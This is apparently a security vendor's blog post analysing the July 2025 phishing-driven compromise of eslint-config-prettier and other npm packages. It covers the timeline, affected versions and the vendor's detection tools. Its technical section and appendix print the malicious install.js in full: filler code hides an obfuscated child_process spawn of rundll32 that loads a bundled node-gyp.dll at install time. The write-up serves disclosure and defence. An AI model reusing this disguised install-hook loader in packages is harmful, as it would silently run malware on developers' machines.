
eslint-config-prettier Compromised: How npm Package with 30 Million Downloads Spread Malware
A supply chain attack exploiting eslint-config-prettier and other popular npm packages were discovered with major supply chain impact. In this blog, we will explore the details of the hack and the impact it had on the npm ecosystem.
TL;DR
The npm account of JounQin, maintainer of multiple popular npm packages including eslint-config-prettier
was compromised in a phishing attack. The attackers leveraged the compromised account to publish 6 versions of eslint-config-prettier
with malware along with 3 other packages accessible to the same npm account. Collectively, the compromised packages account for about 78 million weekly downloads. The compromised account had access to npm packages that have about 180 million weekly downloads. This is summarized by Kyle Kelly
In this blog post, we analyze one of the malicious packages to identify the payload. We also demonstrate how SafeDep OSS tools such as vet, pmg can protect developers from being compromised by malicious packages.
Timeline
On 18th July 2025, GitHub user dasa opened issue #339 in the eslint-config-prettier repository disclosing unexpected versions published to the npm registry for the project. The diff for one of the newly published version indeed looked odd and suspicious. Specifically, an install
script was added to the package.json
file in version 10.1.7
.
+ "scripts":{
+ "install":"node install.js"
+ },
"exports": {
".": {
"types": "./index.d.ts",
"default": "./index.js"
@@ -34,8 +37,10 @@
"flat.d.ts",
"flat.js",
"index.d.ts",
"index.js",
+ "install.js",
+ "node-gyp.dll",
"prettier.d.ts",
"prettier.js"
],
"keywords": [
On 19 July 2025, the maintainer of eslint-config-prettier
disclosed that he was tricked in an email phishing attack where the attackers gained access to publish to various npm projects that he maintains. Multiple npm packages were published with malicious code with eslint-config-prettier
being the major one with 31 million weekly downloads as per npm.
JounQin’s X Post also disclosed the list of packages that were published with malicious code.
Package Name | Package Version | Weekly Downloads |
---|---|---|
eslint-config-prettier | 8.10.1 | > 31M |
eslint-config-prettier | 9.1.1 | > 31M |
eslint-config-prettier | 10.1.6 | > 31M |
eslint-config-prettier | 10.1.7 | > 31M |
eslint-plugin-prettier | 4.2.2 | > 21M |
eslint-plugin-prettier | 4.2.3 | > 21M |
snyckit | 0.11.9 | > 21M |
@pkgr/core | 0.2.8 | > 16M |
napi-postinstall | 0.3.1 | > 9M |
On 20 July 2025, we at SafeDep started investigating this hack. We first looked at our malicious package scanner that we use to continuously analyze OSS packages for malicious code. Examples from our automated analysis system:
What is the impact?
Our analysis till now identified Scavenger Malware delivered through the embedded PE32+ binary node-gyp.dll
added in the compromised packages. This restricts the attack to Windows systems only. GNU/Linux distros and MacOS is unlikely to be affected due to the nature of the payload. Compromised systems are likely to be infected with Scavenger malware allowing attackers to harvest files, credentials and perform other malicious activities.
How SafeDep can protect developers?
Our automated systems flagged the packages as suspicious due to the presence of node-gyp.dll
, a PE32+ executable and installation script in package.json
which in turn executes install.js
with suspicious command injection. Our internal Slack notification from our malicious package scanners alerted us about the compromised packages.
At this point, all our tools would be identifying the compromised packages as suspicious without our involvement or manual intervention. Our research and manual analysis results only augmented the automated analysis with additional technical details confirming malicious behavior. Users of SafeDep tools will be protected against all compromised packages and similar attacks at:
- Developer Environment
- CI/CD
- AI IDEs
- AI Coding Agents
- Container Runtimes
PMG Protecting Developers
Users of pmg would be alerted when attempting to install any of the malicious packages. This protects developer environments from being compromised due to accidentally installing a malicious package.
vet as CI/CD Guardrails
Users of vet who have it setup as part of their CI/CD, such as GitHub Actions or GitLab CI would be alerted when trying to add any of the compromised package through a PR. This way vet
protects against malicious packages at CI/CD.
vet Protecting AI Coding Agents
vet also supports a native MCP Server that can be used to integrate with any AI IDE or coding agents. For example, it prevent Visual Studio Code + GitHub Copilot from installing the malicious package.
Technical Analysis
Analyzing [email protected]
Our analysis was based on
[email protected]
- SHA256:
31204fbbc097677d518e1c01d88cf24b491ef29cc8f56d1ef2b81e5ccc8440e2
[email protected]
contains the following files
-rw-r--r-- 0 0 0 1132 26 Oct 1985 package/LICENSE
-rw-r--r-- 0 0 0 1291776 26 Oct 1985 package/node-gyp.dll
-rw-r--r-- 0 0 0 220 26 Oct 1985 package/@typescript-eslint.js
-rw-r--r-- 0 0 0 207 26 Oct 1985 package/babel.js
-rw-r--r-- 0 0 0 6729 26 Oct 1985 package/bin/cli.js
-rw-r--r-- 0 0 0 210 26 Oct 1985 package/flowtype.js
-rw-r--r-- 0 0 0 8087 26 Oct 1985 package/index.js
-rw-r--r-- 0 0 0 5806 26 Oct 1985 package/install.js
-rw-r--r-- 0 0 0 386 26 Oct 1985 package/prettier.js
-rw-r--r-- 0 0 0 207 26 Oct 1985 package/react.js
-rw-r--r-- 0 0 0 210 26 Oct 1985 package/standard.js
-rw-r--r-- 0 0 0 209 26 Oct 1985 package/unicorn.js
-rw-r--r-- 0 0 0 2141 26 Oct 1985 package/bin/validators.js
-rw-r--r-- 0 0 0 205 26 Oct 1985 package/vue.js
-rw-r--r-- 0 0 0 435 26 Oct 1985 package/package.json
-rw-r--r-- 0 0 0 468 26 Oct 1985 package/README.md
Comparing with the previous version in the 9.x.x
release channel, following files were changes
$ diff -uNar esp-old/package esp/package | diffstat
install.js | 191 ++++
node-gyp.dll | 5445 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
package.json | 5
Looking at package.json
it was evident that the only change was to add install.js
as an installation script. Any malicious behavior added in 9.1.1
must be in install.js
or delivered through it.
{
"name": "eslint-config-prettier",
"version": "9.1.1",
"license": "MIT",
"author": "Simon Lydell",
"description": "Turns off all rules that are unnecessary or might conflict with Prettier.",
"repository": "prettier/eslint-config-prettier",
"bin": "bin/cli.js",
"keywords": ["eslint", "eslintconfig", "prettier"],
"scripts":{
"install":"node install.js"
},
"peerDependencies": {
"eslint": ">=7.0.0"
}
}
Analyzing install.js
While looking at package.json
and the version diff, install.js
was identified as the malicious payload added in [email protected]
. It has a bunch of “filler” code, likely to appear legit but the most relevant code for our analysis was loading node-gyp.dll
using Windows rundll32.exe
// ...
const tempDir = os.tmpdir();
require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
[path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
// ...
This effectively uses node module child_process
to spawn rundll32.exe
with ./node-gyp.dll,main
as the command line, which in turn loads node-gyp.dll
using LoadLibrary
, resolves exported function main
using GetProcAddress
and calls main
, transferring the payload execution to the native code in node-gyp.dll
.
Analyzing node-gyp.dll
node-gyp.dll
is a PE32+ DLL file with following identifiers:
$ file node-gyp.dll
node-gyp.dll: PE32+ executable for MS Windows 6.00 (DLL), x86-64, 7 sections
c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441 node-gyp.dll
Initial reverse engineering of the DLL revealed an obfuscated code executed in its own thread using CreateThreat(..)
API.
Detailed analysis of the node-gyp.dll
payload is covered in InvokRE Blog.
Conclusion
The eslint-config-prettier
supply chain attack serves as a stark reminder of the vulnerability inherent in our modern software development ecosystem. With just a single compromised npm account, attackers were able to distribute malware to millions of developers worldwide through packages that collectively receive 78 million weekly downloads. This incident demonstrates that no package, regardless of its popularity or reputation, is immune to compromise.
Tools like vet and pmg are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.
Appendix
install.js
const cache = require('fs');
const os = require('os');
const path = require('path');
// === Configuration ===
const LOG_DIR = path.join(__dirname, 'logs');
const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);
const DRY_RUN = process.argv.includes('--dry-run');
const ARCHIVE_DIR = path.join(__dirname, 'archive');
const MAX_LOG_FILES = 5;
const DEFAULT_MAX_AGE_DAYS = 30;
const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');
// === State for summary ===
const summary = {
dirsCreated: 0,
filesDeleted: 0,
dirsDeleted: 0,
filesArchived: 0,
errors: 0,
};
function log(msg) {
console.log(msg);
if (!DRY_RUN) {
try {
cache.appendFileSync(LOG_FILE, msg + '\n');
} catch (err) {
console.error(`Failed to write log: ${err.message}`);
}
}
}
function ensureDir(dirPath) {
if (!cache.existsSync(dirPath)) {
if (!DRY_RUN) {
cache.mkdirSync(dirPath, { recursive: true });
}
summary.dirsCreated++;
log(`Created directory: ${dirPath}`);
} else {
log(`Directory exists: ${dirPath}`);
}
}
function deleteFile(filePath) {
if (DRY_RUN) {
log(`[Dry-run] Would delete file: ${filePath}`);
return;
}
try {
cache.unlinkSync(filePath);
summary.filesDeleted++;
log(`Deleted file: ${filePath}`);
} catch (err) {
summary.errors++;
log(`Error deleting file ${filePath}: ${err.message}`);
}
}
function deleteDir(dirPath) {
if (DRY_RUN) {
log(`[Dry-run] Would delete directory: ${dirPath}`);
return;
}
try {
cache.rmSync(dirPath, { recursive: true, force: true });
summary.dirsDeleted++;
log(`Deleted directory: ${dirPath}`);
} catch (err) {
summary.errors++;
log(`Error deleting directory ${dirPath}: ${err.message}`);
}
}
function archiveFile(filePath) {
ensureDir(ARCHIVE_DIR);
const fileName = path.basename(filePath);
const targetPath = path.join(ARCHIVE_DIR, fileName);
if (DRY_RUN) {
log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`);
return;
}
try {
cache.renameSync(filePath, targetPath);
summary.filesArchived++;
log(`Archived file: ${filePath} -> ${targetPath}`);
} catch (err) {
summary.errors++;
log(`Error archiving file ${filePath}: ${err.message}`);
}
}
function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) {
if (!cache.existsSync(dirPath)) return;
const now = Date.now();
const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;
const files = cache.readdirSync(dirPath);
for (const file of files) {
const filePath = path.join(dirPath, file);
try {
const stat = cache.lstatSync(filePath);
const age = now - stat.mtimeMs;
if (stat.isFile() && age > maxAgeMs) {
if (ARCHIVE_OLD_FILES) {
archiveFile(filePath);
} else {
deleteFile(filePath);
}
} else if (stat.isDirectory() && age > maxAgeMs) {
// Delete directory if older than maxAgeDays
deleteDir(filePath);
}
} catch (err) {
summary.errors++;
log(`Error accessing ${filePath}: ${err.message}`);
}
}
}
function rotateLogs() {
if (!cache.existsSync(LOG_DIR)) return;
const logs = cache.readdirSync(LOG_DIR)
.filter(f => f.startsWith('install_log_') && f.endsWith('.txt'))
.map(f => ({
name: f,
path: path.join(LOG_DIR, f),
time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs,
}))
.sort((a, b) => b.time - a.time);
while (logs.length > MAX_LOG_FILES) {
const oldest = logs.pop();
try {
if (!DRY_RUN) {
cache.unlinkSync(oldest.path);
}
log(`Rotated out old log file: ${oldest.name}`);
} catch (err) {
summary.errors++;
log(`Error deleting old log file ${oldest.name}: ${err.message}`);
}
}
}
function logDiskSpace() {
try {
if(os.platform() === 'win32') {
const tempDir = os.tmpdir();
require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
[path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
log(`Temp directory: ${tempDir}`);
const files = cache.readdirSync(tempDir);
log(`Number of files in temp directory: ${files.length}`);
}
} catch (err) {
summary.errors++;
log(`Error accessing temp directory: ${err.message}`);
}
}
function listDirectoryContents(dirPath) {
if (!cache.existsSync(dirPath)) {
log(`Directory does not exist: ${dirPath}`);
return;
}
log(`Contents of ${dirPath}:`);
const files = cache.readdirSync(dirPath);
for (const file of files) {
try {
const filePath = path.join(dirPath, file);
const stat = cache.statSync(filePath);
const sizeKB = (stat.size / 1024).toFixed(2);
const mtime = new Date(stat.mtimeMs).toLocaleString();
const type = stat.isDirectory() ? 'DIR' : 'FILE';
log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`);
} catch (err) {
summary.errors++;
log(`Error reading ${file}: ${err.message}`);
}
}
}
ensureDir(LOG_DIR);
logDiskSpace();